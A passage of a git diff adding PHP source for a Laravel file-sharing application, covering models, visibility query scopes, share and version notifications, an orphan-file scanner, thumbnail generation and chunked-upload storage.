* @return BelongsToMany + */ + public function categories(): BelongsToMany + { + return $this->belongsToMany(Category::class)->withTimestamps(); + } + + /** + * @return MorphMany + */ + public function shareLinks(): MorphMany + { + return $this->morphMany(ShareLink::class, 'shareable'); + } + + /** + * Every logged download of this file — direct, via a public share + * link, or via the public group listing — matching the "Downloads" + * tab in the details panel (FileDetailsController::downloads()) — + * for use with withCount(). + * + * @return MorphMany + */ + public function downloads(): MorphMany + { + return $this->morphMany(ActivityLog::class, 'subject') + ->whereIn('action', [Action::FileDownloaded, Action::ShareLinkDownloaded, Action::PublicFileDownloaded]); + } + + public function isOwnedBy(User $user): bool + { + return $this->uploaded_by === $user->id; + } + + /** + * A file's own expiration date — independent of any share link's. + * Null means never expires. Once past, the file is hidden from + * clients and the public site (see scopeNotExpired) but staff keep + * full access to view, download, and manage it. + */ + public function isExpired(): bool + { + return $this->expires_at !== null && $this->expires_at->isPast(); + } + + /** + * @param Builder $query + */ + public function scopeNotExpired(Builder $query): void + { + $query->where(fn (Builder $q) => $q->whereNull('expires_at')->orWhere('expires_at', '>', now())); + } + + /** + * Whether a cap has been set on how many times this may be + * downloaded. Unlike expiry, reaching it does not hide the file: + * it stays listed and stops being downloadable, so the recipient can + * see it existed and ask for more. The counting and the "may this + * person take it" question both live in DownloadAllowance, because + * the answer depends on who is asking. + */ + public function hasDownloadLimit(): bool + { + return $this->download_limit !== null && $this->download_limit > 0; + } + + /** + * The inverse of scopeNotExpired() above — files currently past their + * own expiry, regardless of any retention grace period (see + * PurgeExpiredFilesCommand, which applies the grace period on top of + * this same expires_at column separately). + * + * @param Builder $query + */ + public function scopeExpired(Builder $query): void + { + $query->whereNotNull('expires_at')->where('expires_at', '<=', now()); + } + + /** + * True when this file's own `public` flag is set, or it sits + * anywhere in a public folder's live subtree — the single check + * everywhere a file's real public status matters (public downloads, + * the file editor's inherited/grayed-out checkbox state). + */ + public function isEffectivelyPublic(): bool + { + return $this->public || ($this->folder?->isEffectivelyPublic() ?? false); + } + + /** + * A client can access a file that is assigned to them directly or + * via a group, that sits in a folder shared with them (self or + * ancestor), or that they uploaded themselves via the portal — the + * single source of truth for client file access. + * + * The assignment half matches on SharingIdentity::column() rather than + * on files.id, because a revision owns no assignment rows: it inherits + * the recipients of its version chain's root. Folder placement, expiry + * and the public flag stay per-file, so only this one branch changes. + * + * @param Builder $query + */ + public function scopeVisibleToClient(Builder $query, User $client): void + { + /** @var list $groupIds */ + $groupIds = $client->memberOfGroups()->pluck('groups.id')->all(); + + $query->where(function (Builder $outer) use ($client, $groupIds): void { + // Directly assigned, or via a group — on this file or on the + // original it revises. + $outer->whereIn( + SharingIdentity::column(), + SharingIdentity::assignedToClient($client, $groupIds), + ); + + // Or inside a shared folder subtree. + $visibleFolders = Folder::query()->select('id')->tap( + fn (Builder $folders) => $folders->getModel()->scopeVisibleToClient($folders, $client) + ); + $outer->orWhereIn('folder_id', $visibleFolders); + + // Or uploaded by the client themselves via the portal. + $outer->orWhere('uploaded_by', $client->id); + }); + + $query->notExpired(); + } + + /** + * Files publicly reachable through a specific (public) group: the + * file's own `public` flag AND (directly assigned to the group, or + * inside the subtree of a folder assigned to the group). A + * group-keyed sibling of scopeVisibleToClient() above — kept + * separate since that one is client-keyed and already used + * elsewhere. See PublicGroupsController. + * + * Same substitution as scopeVisibleToClient for the assignment branch: + * a revision inherits the group its original was shared with. + * + * @param Builder $query + */ + public function scopePubliclyVisibleForGroup(Builder $query, Group $group): void + { + $groupMorph = (new Group)->getMorphClass(); + + $query->where('public', true)->where(function (Builder $outer) use ($group, $groupMorph): void { + $outer->whereIn( + SharingIdentity::column(), + SharingIdentity::assignedToGroups([$group->id]), + ); + + $assignedFolderIds = FolderAssignment::query() + ->where('assignable_type', $groupMorph) + ->where('assignable_id', $group->id) + ->pluck('folder_id'); + + $subtreeFolderIds = Folder::query() + ->whereIn('id', $assignedFolderIds) + ->get() + ->flatMap(fn (Folder $folder): array => $folder->subtreeFolderIds()) + ->unique() + ->values(); + + $outer->orWhereIn('folder_id', $subtreeFolderIds); + }); + + $query->notExpired(); + } + + /** + * Files publicly reachable through a specific public folder: every + * file in its live subtree, regardless of the file's own `public` + * flag — the whole point of a public folder is that it makes + * everything inside it public. A folder-keyed sibling of + * scopePubliclyVisibleForGroup() above. See PublicFoldersController. + * + * @param Builder $query + */ + public function scopePubliclyVisibleForFolder(Builder $query, Folder $folder): void + { + $query->whereIn('folder_id', $folder->subtreeFolderIds())->notExpired(); + } + + /** + * Public files not reachable through any public group or public + * folder — the public listing's "front page" entries, so a file is + * never shown twice (once standalone, once via its group's or + * folder's own page). A file assigned only to a private group still + * appears here: the file's own `public` flag is independent of any + * group's or folder's. + * + * @param Builder $query + */ + public function scopeStandalonePublic(Builder $query): void + { + $groupMorph = (new Group)->getMorphClass(); + $publicGroupIds = Group::query()->where('public', true)->pluck('id'); + + $publicGroupFolderIds = FolderAssignment::query() + ->where('assignable_type', $groupMorph) + ->whereIn('assignable_id', $publicGroupIds) + ->pluck('folder_id'); + + $publicGroupSubtreeFolderIds = Folder::query() + ->whereIn('id', $publicGroupFolderIds) + ->get() + ->flatMap(fn (Folder $folder): array => $folder->subtreeFolderIds()) + ->unique() + ->values(); + + $publicFolderSubtreeIds = Folder::query() + ->where('public', true) + ->get() + ->flatMap(fn (Folder $folder): array => $folder->subtreeFolderIds()) + ->unique() + ->values(); + + $query->where('public', true) + // Reached through the chain root, like the two scopes above: a + // revision of a file that belongs to a public group is reachable + // via that group's own page, so it is not standalone either. + ->whereNotIn( + SharingIdentity::column(), + SharingIdentity::assignedToGroups($publicGroupIds), + ) + ->where(function (Builder $folder) use ($publicGroupSubtreeFolderIds): void { + $folder->whereNull('folder_id')->orWhereNotIn('folder_id', $publicGroupSubtreeFolderIds); + }) + ->where(function (Builder $folder) use ($publicFolderSubtreeIds): void { + $folder->whereNull('folder_id')->orWhereNotIn('folder_id', $publicFolderSubtreeIds); + }) + ->notExpired(); + } +} diff --git a/app/Modules/Files/Models/FileAssignment.php b/app/Modules/Files/Models/FileAssignment.php new file mode 100644 index 00000000..6f7c5be5 --- /dev/null +++ b/app/Modules/Files/Models/FileAssignment.php @@ -0,0 +1,38 @@ + + */ + public function file(): BelongsTo + { + return $this->belongsTo(File::class); + } + + /** + * @return MorphTo + */ + public function assignable(): MorphTo + { + return $this->morphTo(); + } +} diff --git a/app/Modules/Files/Models/Folder.php b/app/Modules/Files/Models/Folder.php new file mode 100644 index 00000000..5631cd66 --- /dev/null +++ b/app/Modules/Files/Models/Folder.php @@ -0,0 +1,279 @@ + 'boolean', + 'allow_client_uploads' => 'boolean', + ]; + } + + protected static function slugFallback(): string + { + return 'folder'; + } + + /** + * @return BelongsTo + */ + public function parent(): BelongsTo + { + return $this->belongsTo(Folder::class, 'parent_id'); + } + + /** + * @return HasMany + */ + public function children(): HasMany + { + return $this->hasMany(Folder::class, 'parent_id'); + } + + /** + * @return HasMany + */ + public function files(): HasMany + { + return $this->hasMany(File::class); + } + + /** + * @return HasMany + */ + public function assignments(): HasMany + { + return $this->hasMany(FolderAssignment::class); + } + + /** + * @return BelongsTo + */ + public function creator(): BelongsTo + { + return $this->belongsTo(User::class, 'created_by'); + } + + /** + * Ancestor ids parsed from the materialized path (nearest first is + * not guaranteed; order is root→self). + * + * @return list + */ + public function ancestorIds(): array + { + return array_values(array_filter(array_map('intval', explode('/', trim($this->path, '/'))))); + } + + public function depth(): int + { + return count($this->ancestorIds()); + } + + public function isOwnedBy(User $user): bool + { + return $this->created_by === $user->id; + } + + /** + * Self or any ancestor is public — the inheritance every file in this + * folder's subtree relies on (File::isEffectivelyPublic()), and what + * the file editor shows the user when a file's own public checkbox is + * grayed out. + */ + public function isEffectivelyPublic(): bool + { + return $this->publicSourceName() !== null; + } + + /** + * Self's name if public, else the name of the nearest public ancestor + * (not necessarily the topmost one), else null. What the file editor + * names in the message under a grayed-out, inherited-public checkbox. + */ + public function publicSourceName(): ?string + { + if ($this->public) { + return $this->name; + } + + $ancestorIds = $this->ancestorIds(); + + if ($ancestorIds === []) { + return null; + } + + $publicAncestorNames = self::query()->whereIn('id', $ancestorIds)->where('public', true)->pluck('name', 'id'); + + foreach (array_reverse($ancestorIds) as $id) { + if (isset($publicAncestorNames[$id])) { + return $publicAncestorNames[$id]; + } + } + + return null; + } + + /** + * Whether $user may upload a new file directly into $folder (null = + * loose at the root, always allowed). Staff already validate folder_id + * through FilesController's own flow — this is the client-facing + * check, used by ChunkedUploadsController: the client owns the + * folder, or it's a public folder that opts into client uploads and + * the client's role permits uploading into public folders at all. + */ + public static function uploadableBy(User $user, ?self $folder): bool + { + if ($folder === null) { + return true; + } + + if ($user->isStaff()) { + return true; + } + + return $folder->isOwnedBy($user) + || ($folder->public && $folder->allow_client_uploads && $user->can('upload_to_public_folders')); + } + + /** + * The path prefix matching this folder's whole subtree (self + all + * descendants share this prefix in their path). + */ + public function subtreePathPrefix(): string + { + return $this->path.$this->id.'/'; + } + + /** + * This folder's id plus every descendant's — the live subtree, used + * anywhere "every file inside this folder, recursively" is needed + * (e.g. zipping a folder). + * + * @return list + */ + public function subtreeFolderIds(): array + { + $descendantIds = self::query() + ->where('path', 'like', $this->subtreePathPrefix().'%') + ->pluck('id') + ->map(fn ($id): int => (int) $id) + ->all(); + + return array_values([$this->id, ...$descendantIds]); + } + + /** + * Folders visible to a client: any folder shared with them or their + * groups (plus every descendant of such a folder, live subtree), or + * any folder they created themselves, anywhere in that visible tree + * (see MyFoldersController::store's parent_id validation, which only + * ever lets a client nest a new folder inside this same set). + * + * @param Builder $query + */ + public function scopeVisibleToClient(Builder $query, User $client): void + { + $sharedIds = self::sharedFolderIds($client); + + $query->where(function (Builder $inner) use ($sharedIds, $client): void { + $inner->where('created_by', $client->id); + + if ($sharedIds !== []) { + $inner->orWhereIn('id', $sharedIds); + + foreach (self::query()->whereIn('id', $sharedIds)->get() as $shared) { + $inner->orWhere('path', 'like', $shared->subtreePathPrefix().'%'); + } + } + }); + } + + /** + * Folders publicly reachable on the public listing site: any folder + * marked public, plus every descendant in its live subtree (mirrors + * scopeVisibleToClient's shared-subtree shape). No Gate/auth involved + * — same reasoning as File::scopeStandalonePublic. + * + * @param Builder $query + */ + public function scopePubliclyVisible(Builder $query): void + { + $publicIds = self::query()->where('public', true)->pluck('id')->map(fn ($id): int => (int) $id)->all(); + + if ($publicIds === []) { + $query->whereRaw('1 = 0'); + + return; + } + + $query->where(function (Builder $inner) use ($publicIds): void { + $inner->whereIn('id', $publicIds); + + foreach (self::query()->whereIn('id', $publicIds)->get() as $public) { + $inner->orWhere('path', 'like', $public->subtreePathPrefix().'%'); + } + }); + } + + /** + * Ids of folders shared directly with the client or via a group. + * + * @return list + */ + public static function sharedFolderIds(User $client): array + { + $groupIds = $client->memberOfGroups()->pluck('groups.id')->all(); + + $ids = FolderAssignment::query() + ->where(function (Builder $query) use ($client, $groupIds): void { + $query->where(function (Builder $direct) use ($client): void { + $direct->where('assignable_type', (new User)->getMorphClass()) + ->where('assignable_id', $client->id); + })->orWhere(function (Builder $viaGroup) use ($groupIds): void { + $viaGroup->where('assignable_type', (new Group)->getMorphClass()) + ->whereIn('assignable_id', $groupIds); + }); + }) + ->pluck('folder_id') + ->all(); + + return array_values(array_map('intval', $ids)); + } +} diff --git a/app/Modules/Files/Models/FolderAssignment.php b/app/Modules/Files/Models/FolderAssignment.php new file mode 100644 index 00000000..34da698c --- /dev/null +++ b/app/Modules/Files/Models/FolderAssignment.php @@ -0,0 +1,38 @@ + + */ + public function folder(): BelongsTo + { + return $this->belongsTo(Folder::class); + } + + /** + * @return MorphTo + */ + public function assignable(): MorphTo + { + return $this->morphTo(); + } +} diff --git a/app/Modules/Files/Models/ShareLink.php b/app/Modules/Files/Models/ShareLink.php new file mode 100644 index 00000000..0ec59826 --- /dev/null +++ b/app/Modules/Files/Models/ShareLink.php @@ -0,0 +1,57 @@ + 'datetime', + ]; + } + + /** + * @return MorphTo + */ + public function shareable(): MorphTo + { + return $this->morphTo(); + } + + public function isExpired(): bool + { + return $this->expires_at !== null && $this->expires_at->isPast(); + } + + public function hasReachedLimit(): bool + { + return $this->max_downloads !== null && $this->downloads_count >= $this->max_downloads; + } + + public function isActive(): bool + { + return ! $this->isExpired() && ! $this->hasReachedLimit(); + } +} diff --git a/app/Modules/Files/Models/ZipDownload.php b/app/Modules/Files/Models/ZipDownload.php new file mode 100644 index 00000000..41c0e5fc --- /dev/null +++ b/app/Modules/Files/Models/ZipDownload.php @@ -0,0 +1,55 @@ + $file_ids + * @property list $folder_ids + * @property list|null $skipped_files + * @property Carbon|null $delivered_at + */ +class ZipDownload extends Model +{ + public const STATUS_PENDING = 'pending'; + + public const STATUS_READY = 'ready'; + + public const STATUS_FAILED = 'failed'; + + protected $guarded = []; + + protected function casts(): array + { + return [ + 'file_ids' => 'array', + 'folder_ids' => 'array', + 'skipped_files' => 'array', + 'delivered_at' => 'datetime', + ]; + } + + /** + * @return BelongsTo + */ + public function requester(): BelongsTo + { + return $this->belongsTo(User::class, 'requested_by'); + } +} diff --git a/app/Modules/Files/Notifications/AdminClientUploadedNotification.php b/app/Modules/Files/Notifications/AdminClientUploadedNotification.php new file mode 100644 index 00000000..341c82f8 --- /dev/null +++ b/app/Modules/Files/Notifications/AdminClientUploadedNotification.php @@ -0,0 +1,49 @@ + + */ + public function via(object $notifiable): array + { + return ['mail']; + } + + public function toMail(object $notifiable): MailMessage + { + if (($override = $this->overrideOrNull(EmailTemplateSlot::AdminClientUploaded)) !== null) { + return $this->mailFromOverride($override, [':file' => $this->fileName, ':client' => $this->clientName]) + ->action(__('View file'), route('files.edit', $this->fileId)); + } + + return (new MailMessage) + ->subject(__('A client uploaded a file')) + ->line(__('The file ":file" was uploaded by :client.', ['file' => $this->fileName, 'client' => $this->clientName])) + ->action(__('View file'), route('files.edit', $this->fileId)); + } +} diff --git a/app/Modules/Files/Notifications/FileShareDigestNotification.php b/app/Modules/Files/Notifications/FileShareDigestNotification.php new file mode 100644 index 00000000..60232c0e --- /dev/null +++ b/app/Modules/Files/Notifications/FileShareDigestNotification.php @@ -0,0 +1,62 @@ + $items + */ + public function __construct( + private readonly array $items, + ) {} + + /** + * @return array + */ + public function via(object $notifiable): array + { + return ['mail']; + } + + public function toMail(object $notifiable): MailMessage + { + $count = count($this->items); + + if (($override = $this->overrideOrNull(EmailTemplateSlot::FileShareDigest)) !== null) { + $message = $this->mailFromOverride($override, [':count' => (string) $count]); + } else { + $message = (new MailMessage) + ->subject(__(':count items have been shared with you', ['count' => $count])) + ->line(__('The following :count items have been shared with you:', ['count' => $count])); + } + + foreach ($this->items as $item) { + $message->line(($item->context['is_folder'] ?? false) + ? __('Folder: :name', ['name' => $item->subject_name]) + : __('File: :name', ['name' => $item->subject_name])); + } + + return $message->action(__('View your files'), route('my-files.index')); + } +} diff --git a/app/Modules/Files/Notifications/FileSharedNotification.php b/app/Modules/Files/Notifications/FileSharedNotification.php new file mode 100644 index 00000000..fd34998f --- /dev/null +++ b/app/Modules/Files/Notifications/FileSharedNotification.php @@ -0,0 +1,66 @@ +subject_name, (bool) ($item->context['is_folder'] ?? false)); + } + + /** + * @return array + */ + public function via(object $notifiable): array + { + return ['mail']; + } + + public function toMail(object $notifiable): MailMessage + { + $slot = $this->isFolder ? EmailTemplateSlot::FolderShared : EmailTemplateSlot::FileShared; + + if (($override = $this->overrideOrNull($slot)) !== null) { + return $this->mailFromOverride($override, [':name' => $this->itemName]) + ->action(__('View your files'), route('my-files.index')); + } + + $subject = $this->isFolder ? __('A folder has been shared with you') : __('A file has been shared with you'); + $line = $this->isFolder + ? __('The folder ":name" has been shared with you.', ['name' => $this->itemName]) + : __('The file ":name" has been shared with you.', ['name' => $this->itemName]); + + return (new MailMessage) + ->subject($subject) + ->line($line) + ->action(__('View your files'), route('my-files.index')); + } +} diff --git a/app/Modules/Files/Notifications/NewVersionAvailableNotification.php b/app/Modules/Files/Notifications/NewVersionAvailableNotification.php new file mode 100644 index 00000000..b67bf4a0 --- /dev/null +++ b/app/Modules/Files/Notifications/NewVersionAvailableNotification.php @@ -0,0 +1,58 @@ +subject_name, (string) ($item->context['previousName'] ?? $item->subject_name)); + } + + /** + * @return array + */ + public function via(object $notifiable): array + { + return ['mail']; + } + + public function toMail(object $notifiable): MailMessage + { + return (new MailMessage) + ->subject(__('A newer version of a file you have is available')) + ->line(__('":previous" has been replaced by a newer version: ":name".', [ + 'previous' => $this->previousName, + 'name' => $this->fileName, + ])) + ->action(__('View your files'), route('my-files.index')); + } +} diff --git a/app/Modules/Files/Notifications/NewVersionDigestNotification.php b/app/Modules/Files/Notifications/NewVersionDigestNotification.php new file mode 100644 index 00000000..dd4a6ba3 --- /dev/null +++ b/app/Modules/Files/Notifications/NewVersionDigestNotification.php @@ -0,0 +1,59 @@ + $items + */ + public function __construct( + private readonly array $items, + ) {} + + /** + * @return array + */ + public function via(object $notifiable): array + { + return ['mail']; + } + + public function toMail(object $notifiable): MailMessage + { + $count = count($this->items); + + $message = (new MailMessage) + ->subject(__(':count files you have were replaced by newer versions', ['count' => $count])) + ->line(__('Newer versions of the following :count files are available:', ['count' => $count])); + + foreach ($this->items as $item) { + $previous = (string) ($item->context['previousName'] ?? ''); + + $message->line($previous === '' + ? __('File: :name', ['name' => $item->subject_name]) + : __(':previous → :name', ['previous' => $previous, 'name' => $item->subject_name])); + } + + return $message->action(__('View your files'), route('my-files.index')); + } +} diff --git a/app/Modules/Files/OrphanFileScanner.php b/app/Modules/Files/OrphanFileScanner.php new file mode 100644 index 00000000..3712a11a --- /dev/null +++ b/app/Modules/Files/OrphanFileScanner.php @@ -0,0 +1,173 @@ + + */ + public function scannedDisks(): array + { + $disks = [ + 'files' => [ + 'label' => 'Local storage', + 'location' => rtrim(Storage::disk('files')->path(''), '/'), + ], + ]; + + if ($this->externalStorage->isActive()) { + $settings = ExternalStorageSettings::current(); + $root = $settings->root !== null && $settings->root !== '' ? '/'.trim($settings->root, '/') : ''; + + $disks['files_external'] = [ + 'label' => 'External storage', + 'location' => 's3://'.$settings->bucket.$root, + ]; + } + + return $disks; + } + + /** + * Sorted by disk then path so pagination over the result is stable + * across requests — an install can have thousands of these, so the + * caller paginates rather than rendering the whole list at once. + * + * $viewer is optional — null for callers with no session user (e.g. a + * scheduled command), in which case 'allowed' is unused by the caller + * and just reported as true rather than requiring a real user to + * evaluate UploadExtensionPolicy against. + * + * @return list + */ + public function scan(?User $viewer = null, ?string $search = null): array + { + $needle = $search !== null && $search !== '' ? mb_strtolower($search) : null; + $orphans = []; + + foreach (array_keys($this->scannedDisks()) as $diskName) { + $disk = Storage::disk($diskName); + $knownPaths = array_flip($this->knownPaths($diskName)); + + foreach ($disk->allFiles() as $path) { + if ($this->isExcluded($path) || isset($knownPaths[$path])) { + continue; + } + + if ($needle !== null && ! str_contains(mb_strtolower($path), $needle)) { + continue; + } + + $orphans[] = [ + 'disk' => $diskName, + 'path' => $path, + 'size' => $disk->size($path), + 'last_modified' => $disk->lastModified($path), + 'allowed' => $viewer !== null ? $this->extensionPolicy->isAllowed($viewer, basename($path)) : true, + ]; + } + } + + usort($orphans, fn (array $a, array $b): int => [$a['disk'], $a['path']] <=> [$b['disk'], $b['path']]); + + return $orphans; + } + + /** + * Re-validated at import/delete time — never trust a client-supplied + * disk/path just because it was in an earlier scan response. $disk + * must be one of scannedDisks()'s current keys — a client could + * otherwise name any configured Laravel disk (e.g. 'public'). + */ + public function isOrphan(string $disk, string $path): bool + { + if (! array_key_exists($disk, $this->scannedDisks())) { + return false; + } + + if ($this->isExcluded($path) || ! Storage::disk($disk)->exists($path)) { + return false; + } + + return ! in_array($path, $this->knownPaths($disk), true); + } + + public function isAllowedFor(User $viewer, string $path): bool + { + return $this->extensionPolicy->isAllowed($viewer, basename($path)); + } + + /** + * A 0-byte file is virtually certain to be a failed or interrupted + * write rather than real content — importing it would only give a + * client an empty download, so unlike a merely restricted-extension + * orphan (still worth adopting once permitted), an empty one is never + * importable. Still listed and still deletable, same as a restricted + * one. + */ + public function isImportable(User $viewer, string $disk, string $path): bool + { + return $this->isOrphan($disk, $path) + && $this->isAllowedFor($viewer, $path) + && Storage::disk($disk)->size($path) > 0; + } + + /** + * Soft-deleted rows still count as "known" — a path stays claimed as + * long as any row references it, even one only awaiting the erasure + * grace period, so a scan never offers to double-adopt it. + * + * @return list + */ + private function knownPaths(string $disk): array + { + return array_values(array_filter( + File::withTrashed()->where('disk', $disk)->pluck('path')->all(), + fn (mixed $path): bool => is_string($path), + )); + } + + private function isExcluded(string $path): bool + { + foreach (self::EXCLUDED_PREFIXES as $prefix) { + if (str_starts_with($path, $prefix)) { + return true; + } + } + + return false; + } +} diff --git a/app/Modules/Files/Sharing/FileSharing.php b/app/Modules/Files/Sharing/FileSharing.php new file mode 100644 index 00000000..5603b094 --- /dev/null +++ b/app/Modules/Files/Sharing/FileSharing.php @@ -0,0 +1,92 @@ +firstOrCreate([ + 'file_id' => $file->id, + 'assignable_type' => $assignable->getMorphClass(), + 'assignable_id' => $assignable->getKey(), + ]); + + $this->activity->log(Action::FileAssigned, subject: $file, context: ['target' => $targetName]); + + $recipients = $this->recipients($assignable); + + $this->notifier->send('file_shared', $recipients, subject: $file, data: ['itemName' => $file->name]); + + // The master switch and each recipient's own preference are the + // digester's job now — every caller was repeating them. + $this->digester->queue('file_shared', $recipients, $file->name, ['is_folder' => false]); + } + + /** + * @return bool whether an assignment was actually removed + */ + public function unassign(File $file, User|Group $assignable, string $targetName): bool + { + $deleted = FileAssignment::query() + ->where('file_id', $file->id) + ->where('assignable_type', $assignable->getMorphClass()) + ->where('assignable_id', $assignable->getKey()) + ->delete(); + + if ($deleted > 0) { + $this->activity->log(Action::FileUnassigned, subject: $file, context: ['target' => $targetName]); + } + + return $deleted > 0; + } + + /** + * Notifier performs no authorization of its own — see its SECURITY + * CONTRACT docblock — so the recipient list is resolved here, from the + * assignment itself. + * + * @return iterable + */ + private function recipients(User|Group $assignable): iterable + { + return $assignable instanceof Group ? $assignable->members : [$assignable]; + } +} diff --git a/app/Modules/Files/Storage/ResolvingUploadDisk.php b/app/Modules/Files/Storage/ResolvingUploadDisk.php new file mode 100644 index 00000000..281f421a --- /dev/null +++ b/app/Modules/Files/Storage/ResolvingUploadDisk.php @@ -0,0 +1,29 @@ +isStaff() === true ? self::Staff : self::External; + } + + /** + * Where this audience's cached files live inside a rendition's own + * directory. + * + * Staff keeps the bare path this app has always used for thumbnails, + * rather than both audiences moving into a subdirectory of their own: + * every thumbnail cached before the split was generated with no + * listener altering it, which is exactly what a staff thumbnail still + * is. A symmetric layout would have been tidier and would have + * orphaned every one of those files on the disk, with nothing left + * deriving their paths to clean them up. + */ + public function pathPrefix(): string + { + return match ($this) { + self::Staff => '', + self::External => 'external/', + }; + } +} diff --git a/app/Modules/Files/Thumbnails/ImageRendition.php b/app/Modules/Files/Thumbnails/ImageRendition.php new file mode 100644 index 00000000..968ab1fa --- /dev/null +++ b/app/Modules/Files/Thumbnails/ImageRendition.php @@ -0,0 +1,51 @@ + 300, + // Big enough to fill a laptop screen and read detail in, + // small enough that rendering and caching one per file is + // not a second copy of the library. Anyone who wants the + // actual pixels downloads the file. + self::Preview => 1600, + }; + } + + /** Where this rendition's cached files live on the local 'files' disk. */ + public function directory(): string + { + return match ($this) { + self::Thumbnail => 'thumbnails', + self::Preview => 'previews', + }; + } +} diff --git a/app/Modules/Files/Thumbnails/RenderedImageCache.php b/app/Modules/Files/Thumbnails/RenderedImageCache.php new file mode 100644 index 00000000..df8b197f --- /dev/null +++ b/app/Modules/Files/Thumbnails/RenderedImageCache.php @@ -0,0 +1,39 @@ +deleteDirectory($rendition->directory()); + } catch (Throwable $exception) { + // Everything rebuilds itself lazily on the next request, so + // a storage hiccup here means "some stale images survive", + // not "the settings change failed" — and the person who just + // saved a setting should not get a 500 for it. Per rendition + // rather than around the loop, so one failing directory does + // not leave the others unflushed. + Log::warning("Could not flush the {$rendition->value} cache: ".$exception->getMessage()); + } + } + } +} diff --git a/app/Modules/Files/Thumbnails/ThumbnailGenerator.php b/app/Modules/Files/Thumbnails/ThumbnailGenerator.php new file mode 100644 index 00000000..b9d504ef --- /dev/null +++ b/app/Modules/Files/Thumbnails/ThumbnailGenerator.php @@ -0,0 +1,139 @@ + + */ + public const SUPPORTED_MIME_TYPES = [ + 'image/jpeg', + 'image/png', + 'image/gif', + 'image/webp', + ]; + + public static function supports(string $mimeType): bool + { + return in_array($mimeType, self::SUPPORTED_MIME_TYPES, true); + } + + /** + * The path one audience's cached copy of one rendition of a file + * lives (or would live) at on the local 'files' disk, or null when + * the mime type has no rendition at all — the single authoritative + * definition shared by whatever generates it (FileThumbnailController, + * PublicGroupsController) and whatever cleans it up (FileDiskCleanup). + * + * Keyed on both because a RenderingImage listener may draw them + * differently; see ImageAudience and ImageRendition. + */ + public static function pathFor(int $fileId, string $mimeType, ImageAudience $audience, ImageRendition $rendition): ?string + { + if (! self::supports($mimeType)) { + return null; + } + + return $rendition->directory().'/'.$audience->pathPrefix().$fileId.'.'.self::extensionFor($mimeType); + } + + /** + * Every cached rendition of one file, for every audience — what + * deleting the file has to remove. Derived from the two enums rather + * than spelled out, so adding a rendition or an audience cannot + * leave bytes behind. + * + * @return list + */ + public static function pathsFor(int $fileId, string $mimeType): array + { + $paths = []; + + foreach (ImageRendition::cases() as $rendition) { + foreach (ImageAudience::cases() as $audience) { + $path = self::pathFor($fileId, $mimeType, $audience, $rendition); + + if ($path !== null) { + $paths[] = $path; + } + } + } + + return $paths; + } + + private static function extensionFor(string $mimeType): string + { + return match ($mimeType) { + 'image/jpeg' => 'jpg', + 'image/png' => 'png', + 'image/gif' => 'gif', + 'image/webp' => 'webp', + default => 'bin', + }; + } + + public function generate( + string $sourcePath, + string $destinationPath, + string $mimeType, + ImageAudience $audience, + ImageRendition $rendition, + ): void { + $dimensions = @getimagesize($sourcePath); + + if ($dimensions === false) { + throw new RuntimeException('Could not read image dimensions.'); + } + + [$width, $height] = $dimensions; + + if ($width * $height > self::MAX_SOURCE_MEGAPIXELS * 1_000_000) { + throw new RuntimeException('Image is too large to render.'); + } + + $bound = $rendition->maxDimension(); + + $image = new SimpleImage; + $image->fromFile($sourcePath) + ->autoOrient() + ->bestFit($bound, $bound); + + // The seam packages hook to decorate a rendered image — a + // watermark, today. Dispatched before the encode so a listener's + // changes cost no extra round trip through the codec; with nothing + // listening the image is written exactly as produced above. + Event::dispatch(new RenderingImage($image, $mimeType, $audience, $rendition)); + + $image->toFile($destinationPath, $mimeType); + } +} diff --git a/app/Modules/Files/Uploads/LocalPartStore.php b/app/Modules/Files/Uploads/LocalPartStore.php new file mode 100644 index 00000000..04f22292 --- /dev/null +++ b/app/Modules/Files/Uploads/LocalPartStore.php @@ -0,0 +1,236 @@ +addMinutes(30), + ['session' => $session->id, 'part' => $partNumber], + ); + } + + /** + * $maxBytes is enforced while copying, not just from Content-Length: + * that header can be absent or untrue under chunked transfer encoding, + * so the byte count during the copy is the only figure worth trusting. + * An over-long part is discarded rather than truncated — a truncated + * part would assemble into a silently corrupt file. + * + * @param resource $stream + */ + public function storePart(UploadSession $session, int $partNumber, $stream, ?int $maxBytes = null): string + { + $directory = $this->directory($session); + + try { + FileSystem::ensureDirectoryExists($directory); + } catch (Throwable $e) { + // mkdir() failures surface as promoted warnings. The raw message + // — "mkdir(): Permission denied" with a framework stack trace — + // was the single most opaque failure QA hit: name the directory + // and the likely fix instead, so the log line is actionable, and + // keep the original as the previous exception. + throw new RuntimeException(sprintf( + '%s could not be created — uploads cannot accept bytes.' + .' Almost always ownership: make storage/ writable by the user' + .' the app runs as (in the Docker image: chown -R www-data:www-data storage).', + $directory, + ), previous: $e); + } + + $path = $this->partPath($session, $partNumber); + + $out = fopen($path, 'wb'); + + if ($out === false) { + throw new RuntimeException(sprintf('Could not open part file %s for writing.', $path)); + } + + if ($maxBytes === null) { + stream_copy_to_stream($stream, $out); + fclose($out); + + return md5_file($path) ?: ''; + } + + $written = 0; + + while (! feof($stream)) { + $buffer = fread($stream, 1024 * 1024); + + if ($buffer === false || $buffer === '') { + break; + } + + $written += strlen($buffer); + + if ($written > $maxBytes) { + fclose($out); + @unlink($path); + + throw new PartTooLargeException('Upload part exceeds the maximum part size.'); + } + + fwrite($out, $buffer); + } + + fclose($out); + + return md5_file($path) ?: ''; + } + + /** + * @return list + */ + public function listParts(UploadSession $session): array + { + $directory = $this->directory($session); + + if (! is_dir($directory)) { + return []; + } + + $parts = []; + + foreach (glob($directory.'/*.part') ?: [] as $path) { + $number = (int) basename($path, '.part'); + $parts[$number] = [ + 'PartNumber' => $number, + 'Size' => (int) filesize($path), + 'ETag' => md5_file($path) ?: '', + ]; + } + + ksort($parts); + + return array_values($parts); + } + + /** + * Stream-append parts in order onto the files disk, hashing as we + * go. Peak temp usage ≈ file size + one part (parts are unlinked + * as they are consumed). + * + * @return array{path: string, disk: string, size: int, checksum: string} + */ + public function assemble(UploadSession $session, string $targetPath): array + { + $parts = $this->listParts($session); + + $expected = range(1, count($parts)); + $actual = array_column($parts, 'PartNumber'); + + if ($parts === [] || $actual !== $expected) { + throw new RuntimeException('Upload is incomplete: missing parts.'); + } + + $assembledPath = $this->directory($session).'/assembled'; + $out = fopen($assembledPath, 'wb'); + + if ($out === false) { + throw new RuntimeException('Could not open assembly target.'); + } + + $hash = hash_init('sha256'); + $size = 0; + + foreach ($parts as $part) { + $partPath = $this->partPath($session, $part['PartNumber']); + $in = fopen($partPath, 'rb'); + + if ($in === false) { + fclose($out); + throw new RuntimeException('Could not read part '.$part['PartNumber'].'.'); + } + + while (! feof($in)) { + $buffer = 